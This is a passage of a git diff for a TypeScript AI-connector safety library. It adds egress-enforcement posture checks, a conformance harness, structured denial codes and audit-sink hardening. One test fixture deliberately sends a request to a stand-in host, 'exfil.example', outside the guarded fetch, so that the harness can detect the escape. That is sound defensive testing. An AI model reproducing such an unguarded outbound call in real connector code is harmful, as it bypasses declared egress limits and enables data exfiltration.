+assert.equal(connectorEgressPosture({}), undefined);
+assert.equal(connectorEgressPosture(createConnector({
+  id: 'packed.enforced',
+  description: 'Declares an enforced posture',
+  execute: async () => ({ ok: true }),
+  permissions: { sideEffect: 'read', egressEnforcement: 'enforced' },
+})), 'enforced');
+assert.throws(() => createConnector({
+  id: 'packed.unenforced',
+  description: 'Refused by the posture the passed policies require',
+  execute: async () => ({ ok: true }),
+  permissions: { sideEffect: 'read' },
+  policies: { requireEgressEnforcement: true },
+}), /requireEgressEnforcement/);
 assert.equal(JSON.stringify(output).includes(prompt), false);
 assert.equal(JSON.stringify(audit.events()).includes(prompt), false);
 
@@ -546,6 +699,63 @@ assert.equal(invalid instanceof ConnectorValidationError, true);
 assert.equal(invalid.phase, 'input');
 assert.equal(invalid.message, 'connector invocation failed validation');
 assert.equal(JSON.stringify(invalid).includes(prompt), false);
+
+const conformanceFetch = globalThis.fetch;
+const conformanceManifest = {
+  sideEffect: 'read',
+  egress: ['api.vendor.example'],
+  egressEnforcement: 'enforced',
+};
+// Written out again, not aliased: the harness compares the claim with the
+// manifest the connector registered, and one object compared with itself
+// establishes nothing about the declaration.
+const conformanceClaim = {
+  sideEffect: 'read',
+  egress: ['api.vendor.example'],
+  egressEnforcement: 'enforced',
+};
+const conformanceFactory = (runtime) => createConnector({
+  id: 'packed.conforming',
+  description: 'Packed conformance subject',
+  permissions: conformanceManifest,
+  policies: runtime.policies,
+  execute: async (_input, _context, { fetch }) => {
+    const response = await fetch('https://api.vendor.example');
+    return { ok: response.ok };
+  },
+});
+const conformanceCase = {
+  name: 'guarded request',
+  input: {},
+  expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] },
+};
+const conformanceReport = await assertConnectorConformance(conformanceFactory, {
+  manifest: conformanceClaim,
+  cases: [conformanceCase],
+});
+assert.equal(conformanceReport.conformant, true);
+assert.equal(conformanceReport.posture, 'enforced');
+assert.ok(conformanceReport.limit.length > 0);
+assert.equal(conformanceReport.cases.length, 1);
+assert.equal(conformanceReport.cases[0].transportCalls, 1);
+assert.equal(globalThis.fetch, conformanceFetch);
+await assert.rejects(assertConnectorConformance((runtime) => createConnector({
+  id: 'packed.escaping',
+  description: 'Packed escaping subject',
+  permissions: conformanceManifest,
+  policies: runtime.policies,
+  execute: async () => {
+    await globalThis.fetch('https://exfil.example');
+    return {};
+  },
+}), { manifest: conformanceClaim, cases: [conformanceCase] }), (error) => {
+  assert.ok(error instanceof ConnectorConformanceError);
+  assert.ok(error.report.findings.some((finding) =>
+    finding.code === 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' &&
+    finding.case === conformanceCase.name));
+  return true;
+});
+assert.equal(globalThis.fetch, conformanceFetch);
 `,
   );
 
diff --git a/packages/breakwater/src/agent-cli/CLAUDE.md b/packages/breakwater/src/agent-cli/CLAUDE.md
index b75da499..2f344823 100644
--- a/packages/breakwater/src/agent-cli/CLAUDE.md
+++ b/packages/breakwater/src/agent-cli/CLAUDE.md
@@ -1,6 +1,7 @@
 # Agent CLI navigation
 
 - `index.ts`: generic, Claude Code, and Codex adapters
+- `exec-contract.ts`: the spawn seam's process result and injectable runner
 - `tail-accumulator.ts`: bounded UTF-8 output capture
 - `agent-cli.test.ts`: argv, approval, dry-run, timeout, output, and diagnostics coverage
 
diff --git a/packages/breakwater/src/agent-cli/agent-cli.test.ts b/packages/breakwater/src/agent-cli/agent-cli.test.ts
index ba3a5028..bf1b3051 100644
--- a/packages/breakwater/src/agent-cli/agent-cli.test.ts
+++ b/packages/breakwater/src/agent-cli/agent-cli.test.ts
@@ -11,7 +11,10 @@ import { AuditLogger } from '../audit/index.js';
 import {
   CONNECTOR_EXECUTION_CONTEXT_KEY,
   CONNECTOR_GRANTS_CONTEXT_KEY,
+  ConnectorEvaluatorError,
   ConnectorPolicyError,
+  ConnectorStoreError,
+  connectorEgressPosture,
   connectorManifest,
   DRY_RUN_CONTEXT_KEY,
   IDEMPOTENCY_KEY_CONTEXT_KEY,
@@ -246,6 +249,134 @@ describe('createCodexConnector', () => {
 });
 
 describe('agent CLI connector enforcement', () => {
+  it('declares a declaration-only egress posture on the Agent CLI manifest', () => {
+    // #given
+    const exec = mockExec();
+    // #when
+    const tools = [
+      createAgentCliConnector(privateDefinition(), { exec }),
+      createClaudeCodeConnector({ exec }),
+      createCodexConnector({ exec }),
+    ];
+    // #then
+    for (const tool of tools) {
+      expect(connectorManifest(tool)).toHaveProperty(
+        'egressEnforcement',
+        'declaration-only',
+      );
+      expect(connectorEgressPosture(tool)).toBe('declaration-only');
+    }
+    expect(exec).not.toHaveBeenCalled();
+  });
+
+  it('preserves custom denial metadata while replacing the CLI reason', async () => {
+    const audit = new AuditLogger();
+    const exec = mockExec();
+    const tool = createCodexConnector({
+      exec,
+      requiresApproval: false,
+      policies: {
+        audit,
+        evaluators: [
+          {
+            name: 'custom-quota-name',
+            evaluate: () => ({
+              allowed: false,
+              reason: 'custom budget exhausted',
+              code: 'RATE_LIMIT_EXCEEDED',
+              details: { limit: 3, windowMs: 1_000 },
+            }),
+          },
+        ],
+      },
+    });
+    const failure = await run(tool, { prompt: 'request' }, makeContext()).catch(
+      (error: unknown) => error,
+    );
+    expect(failure).toBeInstanceOf(ConnectorPolicyError);
+    expect(failure).toMatchObject({
+      connector: 'agent-cli.codex',
+      policy: 'custom-quota-name',
+      kind: 'connector-policy',
+      code: 'RATE_LIMIT_EXCEEDED',
+      policyKind: 'rate-limit',
+      retryable: true,
+      reason: 'agent CLI connector policy denied execution',
+      details: { limit: 3, windowMs: 1_000 },
+    });
+    expect(failure).not.toHaveProperty('cause');
+    expect(audit.events()).toEqual([
+      expect.objectContaining({
+        decisionCode: 'RATE_LIMIT_EXCEEDED',
+        policyKind: 'rate-limit',
+        retryable: true,
+      }),
+    ]);
+    expect(exec).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'rate-limit',
+    'idempotency',
+  ] as const)('preserves a %s store failure code without its private cause', async (store) => {
+    const audit = new AuditLogger();
+    const exec = mockExec();
+    const secret = new Error('private-store-cause');
+    const tool = createCodexConnector({
+      exec,
+      requiresApproval: false,
+      ...(store === 'rate-limit'
+        ? { rateLimit: '1/min' }
+        : { idempotencyKey: true }),
+      policies: {
+        audit,
+        ...(store === 'rate-limit'
+          ? {
+              rateLimitStore: {
+                increment: async () => {
+                  throw secret;
+                },
+              },
+            }
+          : {
+              idempotencyKeyMigration: 'legacy-writers-drained' as const,
+              idempotencyStore: {
+                get: async () => {
+                  throw secret;
+                },
+                put: async () => {},
+              },
+            }),
+      },
+    });
+    const failure = await run(
+      tool,
+      { prompt: 'request' },
+      makeContext({ idempotencyKey: 'operation' }),
+    ).catch((error: unknown) => error);
+    expect(failure).toBeInstanceOf(ConnectorStoreError);
+    expect(failure).toMatchObject({
+      kind: 'connector-store',
+      code: 'STORE_UNAVAILABLE',
+      connector: 'agent-cli.codex',
+      store,
+      operation: store === 'rate-limit' ? 'increment' : 'get',
+      policyKind: 'store',
+      retryable: true,
+    });
+    expect(failure).not.toHaveProperty('cause');
+    expect(errorSurface(failure)).not.toContain('private-store-cause');
+    expect(JSON.stringify(audit.events())).not.toContain('private-store-cause');
+    expect(audit.events()).toEqual([
+      expect.objectContaining({
+        decisionCode: 'STORE_UNAVAILABLE',
+        policyKind: 'store',
+        retryable: true,
+      }),
+    ]);
+    expect(exec).not.toHaveBeenCalled();
+  });
+
   it('denies without a grant and never spawns (approval-gated by default)', async () => {
     // #given
     const exec = mockExec();
@@ -258,6 +389,12 @@ describe('agent CLI connector enforcement', () => {
 
     // #then
     expect(failure).toBeInstanceOf(ConnectorPolicyError);
+    expect(failure).toMatchObject({
+      code: 'APPROVAL_GRANT_MISSING',
+      kind: 'connector-policy',
+      policyKind: 'write-permissions',
+      retryable: false,
+    });
     expect(exec).not.toHaveBeenCalled();
   });
 
@@ -724,7 +861,22 @@ describe('agent CLI private-data boundaries', () => {
       makeContext(),
     ).catch((error: unknown) => error);
 
-    expect(failure).toMatchObject({ code: 'connector-failed' });
+    expect(failure).toBeInstanceOf(ConnectorEvaluatorError);
+    expect(failure).toMatchObject({
+      code: 'EVALUATOR_FAILED',
+      kind: 'connector-evaluator',
+      policyKind: 'evaluator',
+      retryable: false,
+      policy: 'private-evaluator',
+    });
+    expect(failure).not.toHaveProperty('cause');
+    expect(audit.events()).toEqual([
+      expect.objectContaining({
+        decisionCode: 'EVALUATOR_FAILED',
+        policyKind: 'evaluator',
+        retryable: false,
+      }),
+    ]);
     expect(errorSurface(failure)).not.toContain(PRIVATE_PROMPT);
     expect(errorSurface(failure)).not.toContain(PRIVATE_PROCESS_OUTPUT);
     expect(JSON.stringify(audit.events())).not.toContain(PRIVATE_PROMPT);
diff --git a/packages/breakwater/src/agent-cli/default-exec.ts b/packages/breakwater/src/agent-cli/default-exec.ts
index 0daba435..731f3357 100644
--- a/packages/breakwater/src/agent-cli/default-exec.ts
+++ b/packages/breakwater/src/agent-cli/default-exec.ts
@@ -2,7 +2,7 @@
 // Package-internal Node executor. Runtime built-ins stay behind structural
 // lookups so importing the public agent-cli entry point remains portable.
 
-import type { AgentCliExec, AgentCliExecResult } from './index.js';
+import type { AgentCliExec, AgentCliExecResult } from './exec-contract.js';
 import {
   type TextCodecLookups,
   type TextDecoderLike,
diff --git a/packages/breakwater/src/agent-cli/exec-contract.ts b/packages/breakwater/src/agent-cli/exec-contract.ts
new file mode 100644
index 00000000..2dd549f1
--- /dev/null
+++ b/packages/breakwater/src/agent-cli/exec-contract.ts
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: Apache-2.0
+// Spawn seam contract — the process result and the injectable runner.
+//
+// A type-only leaf, so default-exec.ts implements the seam without importing
+// the barrel that imports it back.
+
+/** Raw process result returned by an injected {@link AgentCliExec}. */
+export interface AgentCliExecResult {
+  /** Standard output captured from the process. */
+  stdout: string;
+  /** Standard error captured from the process. */
+  stderr: string;
+  /** Integer process exit code. */
+  exitCode: number;
+}
+
+/** Spawn seam — inject in tests or to sandbox/containerize execution. */
+export type AgentCliExec = (
+  command: string,
+  args: readonly string[],
+  options: { cwd?: string; timeoutMs: number },
+) => Promise<AgentCliExecResult>;
diff --git a/packages/breakwater/src/agent-cli/index.ts b/packages/breakwater/src/agent-cli/index.ts
index 99da8e0c..fe13c8d7 100644
--- a/packages/breakwater/src/agent-cli/index.ts
+++ b/packages/breakwater/src/agent-cli/index.ts
@@ -20,6 +20,11 @@ import {
   registerSafeAuditError,
   safeAuditErrorSummary,
 } from '../audit/safe-error.js';
+import {
+  ConnectorEvaluatorError,
+  ConnectorStoreError,
+  captureConnectorDenialMetadata,
+} from '../connector-decision.js';
 import type { Connector, ConnectorPolicies } from '../connector-sdk/index.js';
 import {
   ConnectorPolicyError,
@@ -27,6 +32,7 @@ import {
 } from '../connector-sdk/index.js';
 import { replaceConnectorInvocation } from '../connector-sdk/invocation-registry.js';
 import { createDefaultExec, DefaultExecFailure } from './default-exec.js';
+import type { AgentCliExec, AgentCliExecResult } from './exec-contract.js';
 
 /** Input accepted by an agent CLI connector. */
 export interface AgentCliInput {
@@ -53,22 +59,7 @@ export interface AgentCliOutput {
   simulated?: boolean;
 }
 
-/** Raw process result returned by an injected {@link AgentCliExec}. */
-export interface AgentCliExecResult {
-  /** Standard output captured from the process. */
-  stdout: string;
-  /** Standard error captured from the process. */
-  stderr: string;
-  /** Integer process exit code. */
-  exitCode: number;
-}
-
-/** Spawn seam — inject in tests or to sandbox/containerize execution. */
-export type AgentCliExec = (
-  command: string,
-  args: readonly string[],
-  options: { cwd?: string; timeoutMs: number },
-) => Promise<AgentCliExecResult>;
+export type { AgentCliExec, AgentCliExecResult } from './exec-contract.js';
 
 /** Describes how to invoke and parse one agent CLI. */
 export interface AgentCliDefinition {
@@ -126,7 +117,11 @@ export interface AgentCliConnectorOptions {
   idempotencyKey?: boolean;
   /** Connector id override (running two differently-configured instances). */
   id?: string;
-  /** Passed through to createConnector (audit, stores, evaluators). */
+  /**
+   * Passed through to createConnector (audit, stores, evaluators). A
+   * `requireEgressEnforcement` member here throws the construction `TypeError`
+   * {@link createAgentCliConnector} describes.
+   */
   policies?: ConnectorPolicies;
   /**
    * Cap on retained stdout/stderr per stream in the default exec (node's
@@ -379,6 +374,11 @@ function redactDisplayFlag(flag: string): string {
  * Wrap any agent CLI as an approval-gated breakwater connector. The two
  * shipped definitions are createClaudeCodeConnector / createCodexConnector;
  * this is the seam for third-party CLIs.
+ *
+ * The adapter's manifest declares `egressEnforcement: 'declaration-only'`,
+ * because the child process carries its own transport. Construction therefore
+ * throws a `TypeError` when `options.policies` sets
+ * `requireEgressEnforcement`, which that posture cannot satisfy.
  */
 export function createAgentCliConnector(
   definition: AgentCliDefinition,
@@ -481,6 +481,9 @@ export function createAgentCliConnector(
       // Write-class: the CLI mutates the workspace it runs in.
       sideEffect: 'write',
       egress: definition.egress,
+      // The child process carries its own transport; the list is checked
+      // against organization policy, never against the child's sockets.
+      egressEnforcement: 'declaration-only',
       requiresApproval: options.requiresApproval ?? true,
       dryRun: true,
       rateLimit: options.rateLimit,
@@ -585,8 +588,22 @@ export function createAgentCliConnector(
           error.connector,
           error.policy,
           'agent CLI connector policy denied execution',
+          captureConnectorDenialMetadata({
+            code: error.code,
+            details: error.details,
+          }),
         );
       }
+      if (error instanceof ConnectorStoreError) {
+        throw new ConnectorStoreError(
+          error.connector,
+          error.store,
+          error.operation,
+        );
+      }
+      if (error instanceof ConnectorEvaluatorError) {
+        throw new ConnectorEvaluatorError(error.connector, error.policy);
+      }
       throw createAgentCliError('connector-failed', connectorId);
     }
   };
@@ -651,7 +668,9 @@ export const CODEX_CLI: AgentCliDefinition = {
 
 /**
  * Create an approval-gated Claude Code connector using
- * {@link CLAUDE_CODE_CLI}.
+ * {@link CLAUDE_CODE_CLI}. Construction throws a `TypeError` on
+ * `options.policies.requireEgressEnforcement`, as
+ * {@link createAgentCliConnector} describes.
  */
 export function createClaudeCodeConnector(
   options?: AgentCliConnectorOptions,
@@ -661,6 +680,9 @@ export function createClaudeCodeConnector(
 
 /**
  * Create an approval-gated Codex connector using {@link CODEX_CLI}.
+ * Construction throws a `TypeError` on
+ * `options.policies.requireEgressEnforcement`, as
+ * {@link createAgentCliConnector} describes.
  */
 export function createCodexConnector(
   options?: AgentCliConnectorOptions,
diff --git a/packages/breakwater/src/agent/agent.test.ts b/packages/breakwater/src/agent/agent.test.ts
index 7c8023fe..3df5e559 100644
--- a/packages/breakwater/src/agent/agent.test.ts
+++ b/packages/breakwater/src/agent/agent.test.ts
@@ -855,6 +855,9 @@ describe('Mastra Agent execution-entry inventory', () => {
       'streamLegacy',
       'streamUntilIdle',
     ];
+    // A narrowed handle can only omit, so a setter or data-returning member
+    // is harmless here; flowsafe blocks these same members on the instance
+    // Mastra calls in-process.
     const explicitlyNonExecution = [
       '__fork',
       '__getDrainPendingSignals',
@@ -872,6 +875,8 @@ describe('Mastra Agent execution-entry inventory', () => {
       '__setDeclaredSchedules',
       '__setMemory',
       '__setPubSub',
+      // Installs another agent as the target the thread runtime drives.
+      '__setThreadRuntimeAgent',
       '__setTools',
       '__setWorkspace',
       '__updateInstructions',
@@ -879,12 +884,19 @@ describe('Mastra Agent execution-entry inventory', () => {
       'assertSupportsPreparedModels',
       'agent',
       'browser',
+      // Cancels queued idle signals; it can stop pending work, never start it.
+      'cancelQueuedMessages',
+      // Opts the agent in as a thread's remote wake target and subscriber.
+      'claimThreadOwnership',
       'clearObjective',
       'combineProcessorsIntoWorkflow',
       'constructor',
       'convertTools',
       'deriveSubAgentBackgroundConfig',
       'disableBackgroundTasks',
+      // Returns the peer advertisements one pub/sub instance carries; no run
+      // ids, and nothing to drive.
+      'discoverThreadPeers',
       'durable',
       'enableBackgroundTasks',
       // Pure title-generation prefilter; it cannot initiate agent execution.
@@ -980,6 +992,8 @@ describe('Mastra Agent execution-entry inventory', () => {
       'setChannels',
       'setObjective',
       'stripParentToolParts',
+      // Registers a queued-message-count listener; it drives nothing.
+      'subscribeThreadEvents',
       'subscribeToThread',
       'updateModelInModelList',
       'updateObjectiveOptions',
@@ -995,10 +1009,15 @@ describe('Mastra Agent execution-entry inventory', () => {
     const forwardClassified = [
       '__markStoredVersionApplied',
       '__setDeclaredSchedules',
+      '__setThreadRuntimeAgent',
+      'cancelQueuedMessages',
+      'claimThreadOwnership',
+      'discoverThreadPeers',
       'filterUiMessagesByThread',
       'getDeclaredSchedules',
       'listActiveThreadRuns',
       'resolveNotificationDeliveryDecision',
+      'subscribeThreadEvents',
     ];
     const classified = [
       ...wrapped,
@@ -1056,7 +1075,7 @@ describe('Mastra Agent execution-entry inventory', () => {
     if (installedCore === declaredPeer) {
       expect(
         forwardClassified.filter((name) => own.includes(name)),
-        `the pin caught up to these on @mastra/core ${installedCore} — drop them from forwardClassified so the stale check covers them again`,
+        `the pin caught up to these on @mastra/core ${installedCore} — drop them from forwardClassified so the stale check covers them again, and prune its sibling allowance in the same pass: the VERSION_SKEW table in flowsafe's durable-agent-surface.test.ts`,
       ).toEqual([]);
     } else {
       expect(
diff --git a/packages/breakwater/src/audit/audit.test.ts b/packages/breakwater/src/audit/audit.test.ts
index 4b507f7a..5c473412 100644
--- a/packages/breakwater/src/audit/audit.test.ts
+++ b/packages/breakwater/src/audit/audit.test.ts
@@ -49,6 +49,73 @@ describe('agentAuditDetail', () => {
 });
 
 describe('AuditLogger', () => {
+  it.each([
+    ['throw', 'throw'],
+    ['throw', 'reject'],
+    ['reject', 'throw'],
+    ['reject', 'reject'],
+  ] as const)('keeps records when the sink %s and observer %s', async (sinkMode, observerMode) => {
+    const sinkFailure = new Error('sink failure');
+    const observerFailure = new Error('observer failure');
+    const observed: Array<{
+      error: unknown;
+      event: AuditEvent;
+      receiver: unknown;
+    }> = [];
+    const audit = new AuditLogger({
+      sink: () => {
+        if (sinkMode === 'throw') throw sinkFailure;
+        return Promise.reject(sinkFailure);
+      },
+      onSinkError: function (this: unknown, error, event) {
+        observed.push({ error, event, receiver: this });
+        if (observerMode === 'throw') throw observerFailure;
+        return Promise.reject(observerFailure);
+      },
+    });
+    let recorded: AuditEvent | undefined;
+    expect(() => {
+      recorded = audit.record({
+        actor: null,
+        action: 'connector.execute',
+        resource: 'local',
+        decision: 'allowed',
+      });
+    }).not.toThrow();
+    await new Promise<void>((resolve) => setTimeout(resolve, 0));
+    expect(recorded).toMatchObject({ decision: 'allowed' });
+    expect(audit.events()).toEqual([recorded]);
+    expect(observed).toEqual([
+      { error: sinkFailure, event: recorded, receiver: audit },
+    ]);
+  });
+
+  it('preserves connector taxonomy in both exported and buffered events', () => {
+    const exported: AuditEvent[] = [];
+    const audit = new AuditLogger({
+      sink: (event) => {
+        exported.push(event);
+      },
+    });
+    audit.record({
+      actor: null,
+      action: 'connector.execute',
+      resource: 'example.read',
+      decision: 'denied',
+      decisionCode: 'RATE_LIMIT_EXCEEDED',
+      policyKind: 'rate-limit',
+      retryable: true,
+    });
+    expect(exported).toEqual([
+      expect.objectContaining({
+        decisionCode: 'RATE_LIMIT_EXCEEDED',
+        policyKind: 'rate-limit',
+        retryable: true,
+      }),
+    ]);
+    expect(audit.events()).toEqual(exported);
+  });
+
   it('caps the buffer at maxBuffered, dropping oldest first', () => {
     // #given
     const audit = new AuditLogger({ maxBuffered: 2 });
diff --git a/packages/breakwater/src/audit/index.ts b/packages/breakwater/src/audit/index.ts
index b8d9c242..c86f7109 100644
--- a/packages/breakwater/src/audit/index.ts
+++ b/packages/breakwater/src/audit/index.ts
@@ -10,7 +10,11 @@
 
 import type { RequestContext } from '@mastra/core/request-context';
 
-import type { Actor } from '../rbac/index.js';
+import type {
+  ConnectorDecisionCode,
+  ConnectorPolicyName,
+} from '../connector-decision.js';
+import type { Actor } from '../rbac/actor.js';
 
 /** Request-context key for trusted agent and run correlation fields. */
 export const AGENT_AUDIT_CONTEXT_KEY = 'breakwater.auditContext';
@@ -48,16 +52,30 @@ export interface AgentAuditContext {
   delegatedBy?: string;
 }
 
-const AGENT_AUDIT_OPTIONAL_FIELDS = [
-  'tenantId',
-  'runId',
-  'threadId',
-  'resourceId',
-  'principalKind',
-  'principalId',
-  'purpose',
-  'delegatedBy',
-] as const;
+// `agentId` and `entryPath` are required and read by name below; the rest are
+// what the copy loop walks.
+type AgentAuditOptionalField = Exclude<
+  keyof AgentAuditContext,
+  'agentId' | 'entryPath'
+>;
+
+// Exhaustive over those members: one the interface gains is a missing property
+// here, one it drops an excess property. `Object.keys` preserves the literal's
+// insertion order, which is the order the copy below writes the fields in.
+const AGENT_AUDIT_OPTIONAL_FIELD_SET: Record<AgentAuditOptionalField, true> = {
+  tenantId: true,
+  runId: true,
+  threadId: true,
+  resourceId: true,
+  principalKind: true,
+  principalId: true,
+  purpose: true,
+  delegatedBy: true,
+};
+
+const AGENT_AUDIT_OPTIONAL_FIELDS = Object.keys(
+  AGENT_AUDIT_OPTIONAL_FIELD_SET,
+) as AgentAuditOptionalField[];
 
 /**
  * Read only the documented scalar fields from trusted request context.
@@ -125,6 +143,9 @@ export interface AuditEvent {
   resource: string;
   /** 'error' = the gate itself failed (evaluator/getActor threw), not a denial. */
   decision: 'allowed' | 'denied' | 'error';
+  decisionCode?: ConnectorDecisionCode;
+  retryable?: boolean;
+  policyKind?: ConnectorPolicyName;
   /** Human-readable decision or failure reason. */
   reason?: string;
   /** Additional structured fields supplied by the emitting boundary. */
@@ -168,21 +189,23 @@ export class AuditLogger {
       this.#buffer.splice(0, this.#buffer.length - this.#maxBuffered);
     }
     if (this.#sink) {
-      // Availability over export reliability: a failing sink must not abort
-      // the agent run. The buffer keeps the event; the error goes to
-      // onSinkError.
       try {
-        const result = this.#sink(stamped);
-        if (result instanceof Promise) {
-          result.catch((error: unknown) => this.#onSinkError?.(error, stamped));
-        }
+        Promise.resolve(this.#sink(stamped)).catch((error: unknown) => {
+          this.#reportSinkError(error, stamped);
+        });
       } catch (error) {
-        this.#onSinkError?.(error, stamped);
+        this.#reportSinkError(error, stamped);
       }
     }
     return stamped;
   }
 
+  #reportSinkError(error: unknown, event: AuditEvent): void {
+    try {
+      Promise.resolve(this.#onSinkError?.(error, event)).catch(() => {});
+    } catch {}
+  }
+
   /** Return a snapshot of the currently buffered events. */
   events(): readonly AuditEvent[] {
     return [...this.#buffer];
diff --git a/packages/breakwater/src/connector-decision.test.ts b/packages/breakwater/src/connector-decision.test.ts
new file mode 100644
index 00000000..e05441ef
--- /dev/null
+++ b/packages/breakwater/src/connector-decision.test.ts
@@ -0,0 +1,554 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { readdirSync, readFileSync } from 'node:fs';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import {
+  createSourceFile,
+  forEachChild,
+  isNewExpression,
+  ScriptTarget,
+} from 'typescript';
+import { describe, expect, expectTypeOf, it } from 'vitest';
+import { safeAuditErrorSummary } from './audit/safe-error.js';
+import {
+  CONNECTOR_DECISIONS,
+  type ConnectorDecisionCode,
+  type ConnectorDenialMetadata,
+  ConnectorEvaluatorError,
+  ConnectorInvocationError,
+  ConnectorPolicyError,
+  ConnectorStoreError,
+  type ConnectorStoreName,
+  type ConnectorStoreOperation,
+  ConnectorValidationError,
+  captureConnectorDenialMetadata,
+  captureConnectorEvaluatorMetadata,
+  connectorDecisionRetryable,
+  connectorErrorDecision,
+  isConnectorDecisionCode,
+} from './connector-decision.js';
+
+it('supplies explicit metadata at production policy-error constructor calls', () => {
+  const sourceRoot = fileURLToPath(new URL('.', import.meta.url));
+  const violations: string[] = [];
+  let constructors = 0;
+  for (const path of readdirSync(sourceRoot, {
+    recursive: true,
+    encoding: 'utf8',
+  })) {
+    if (!path.endsWith('.ts') || path.endsWith('.test.ts')) continue;
+    const file = createSourceFile(
+      path,
+      readFileSync(join(sourceRoot, path), 'utf8'),
+      ScriptTarget.Latest,
+      true,
+    );
+    const visit = (node: import('typescript').Node): void => {
+      if (
+        isNewExpression(node) &&
+        /(?:^|\.)ConnectorPolicyError$/.test(node.expression.getText(file))
+      ) {
+        constructors++;
+        if ((node.arguments?.length ?? 0) < 4) {
+          const location = file.getLineAndCharacterOfPosition(
+            node.getStart(file),
+          );
+          violations.push(`${path}:${location.line + 1}`);
+        }
+      }
+      forEachChild(node, visit);
+    };
+    visit(file);
+  }
+  expect(constructors).toBeGreaterThan(0);
+  expect(violations).toEqual([]);
+});
+
+const catalogue = {
+  CONNECTOR_ALLOWED: ['execution', false],
+  PERMISSION_GRANTED: ['required-permissions', false],
+  APPROVAL_GRANTED: ['write-permissions', false],
+  IDEMPOTENCY_TAKEOVER: ['idempotency', false],
+  EGRESS_INPUT_INVALID: ['egress-fetch', false],
+  EGRESS_URL_INVALID: ['egress-fetch', false],
+  EGRESS_SCHEME_NOT_ALLOWED: ['egress-fetch', false],
+  EGRESS_HOST_NOT_DECLARED: ['egress-fetch', false],
+  EGRESS_REDIRECT_URL_INVALID: ['egress-fetch', false],
+  EGRESS_REDIRECT_SCHEME_NOT_ALLOWED: ['egress-fetch', false],
+  EGRESS_REDIRECT_HOST_DENIED: ['egress-fetch', false],
+  EGRESS_REDIRECT_UNVERIFIABLE: ['egress-fetch', false],
+  EGRESS_REDIRECT_LIMIT_EXCEEDED: ['egress-fetch', false],
+  EGRESS_REDIRECT_BODY_UNREPLAYABLE: ['egress-fetch', false],
+  EGRESS_DENIED: ['egress-fetch', false],
+  EGRESS_HOST_NOT_ALLOWED_BY_ORG: ['network-egress', false],
+  PERMISSION_PROJECTION_INVALID: ['required-permissions', false],
+  PERMISSION_MISSING: ['required-permissions', false],
+  APPROVAL_GRANT_MISSING: ['write-permissions', false],
+  RATE_LIMIT_EXCEEDED: ['rate-limit', true],
+  IDEMPOTENCY_KEY_MISSING: ['idempotency', false],
+  IDEMPOTENCY_CONFLICT: ['idempotency', true],
+  IDEMPOTENCY_LEGACY_AMBIGUOUS: ['idempotency-key-migration', false],
+  IDEMPOTENCY_MIGRATION_REQUIRED: ['idempotency-key-migration', false],
+  DRY_RUN_UNSUPPORTED: ['dry-run', false],
+  WORKFLOW_SCOPE_MISSING: ['cross-workflow-isolation', false],
+  CROSS_WORKFLOW_ACCESS_DENIED: ['cross-workflow-isolation', false],
+  ISOLATION_SCOPE_MISSING: ['tenant-isolation', false],
+  BACKGROUND_OVERRIDE_DENIED: ['background', false],
+  BACKGROUND_EXECUTION_DENIED: ['background-execution', false],
+  EVALUATOR_DENIED: ['evaluator', false],
+  EVALUATOR_FAILED: ['evaluator', false],
+  STORE_UNAVAILABLE: ['store', true],
+  STORE_COMMIT_FAILED: ['store', false],
+  STORE_RELEASE_FAILED: ['store', false],
+  CONNECTOR_EXECUTION_FAILED: ['execution', false],
+  CONNECTOR_INPUT_INVALID: ['validation', false],
+  CONNECTOR_OUTPUT_INVALID: ['validation', false],
+  CONNECTOR_UNREGISTERED: ['invocation', false],
+  CONNECTOR_BOUNDARY_MODIFIED: ['invocation', false],
+  CONNECTOR_INVOCATION_OPTIONS_INVALID: ['invocation', false],
+  CONNECTOR_BOUNDARY_UNVERIFIABLE: ['invocation', false],
+} as const;
+
+describe('connector decision catalogue', () => {
+  it('pins the accepted code, category, and retryability contract', () => {
+    expect(Object.keys(CONNECTOR_DECISIONS).sort()).toEqual(
+      Object.keys(catalogue).sort(),
+    );
+    expect(Object.isFrozen(CONNECTOR_DECISIONS)).toBe(true);
+    for (const [code, [policyKind, retryable]] of Object.entries(catalogue)) {
+      expect(isConnectorDecisionCode(code)).toBe(true);
+      if (!isConnectorDecisionCode(code)) throw new Error('unknown test code');
+      expect(CONNECTOR_DECISIONS[code]).toEqual({ policyKind, retryable });
+      expect(Object.isFrozen(CONNECTOR_DECISIONS[code])).toBe(true);
+      expect(connectorDecisionRetryable(code)).toBe(retryable);
+    }
+  });
+
+  it('keeps the public reference table executable', () => {
+    const doc = readFileSync(
+      new URL('../../../docs/connector-interface.md', import.meta.url),
+      'utf8',
+    );
+    const rows = [
+      ...doc.matchAll(/^\| `([A-Z_]+)` \|[^\n]*\| (true|false) \|$/gm),
+    ];
+    expect(rows.map((row) => row[1]).sort()).toEqual(
+      Object.keys(catalogue).sort(),
+    );
+    for (const [, code, retryable] of rows) {
+      expect(isConnectorDecisionCode(code)).toBe(true);
+      if (!isConnectorDecisionCode(code)) throw new Error('unknown doc code');
+      expect(CONNECTOR_DECISIONS[code].retryable).toBe(retryable === 'true');
+    }
+  });
+
+  it.each([
+    'constructor',
+    '__proto__',
+    'toString',
+    '',
+    'UNKNOWN',
+    null,
+    42,
+  ])('rejects an unknown catalogue value %j without a retryable fallback', (value) => {
+    expect(isConnectorDecisionCode(value)).toBe(false);
+    expect(() =>
+      connectorDecisionRetryable(value as ConnectorDecisionCode),
+    ).toThrow('invalid connector decision code');
+  });
+});
+
+describe('connector denial metadata', () => {
+  it('preserves legacy policy labels and messages without inferring their code', () => {
+    const error = new ConnectorPolicyError('publish', 'rate-limit', 'blocked');
+    expect(error).toMatchObject({
+      name: 'ConnectorPolicyError',
+      message: 'connector publish denied by rate-limit: blocked',
+      connector: 'publish',
+      policy: 'rate-limit',
+      reason: 'blocked',
+      kind: 'connector-policy',
+      code: 'EVALUATOR_DENIED',
+      policyKind: 'evaluator',
+      retryable: false,
+    });
+    const renamed = new ConnectorPolicyError(
+      'publish',
+      'custom-budget',
+      'full',
+      {
+        code: 'RATE_LIMIT_EXCEEDED',
+        details: { limit: 10, windowMs: 60_000 },
+      },
+    );
+    expect(renamed).toMatchObject({
+      policy: 'custom-budget',
+      code: 'RATE_LIMIT_EXCEEDED',
+      policyKind: 'rate-limit',
+      retryable: true,
+    });
+  });
+
+  it('detaches and freezes nested permission metadata', () => {
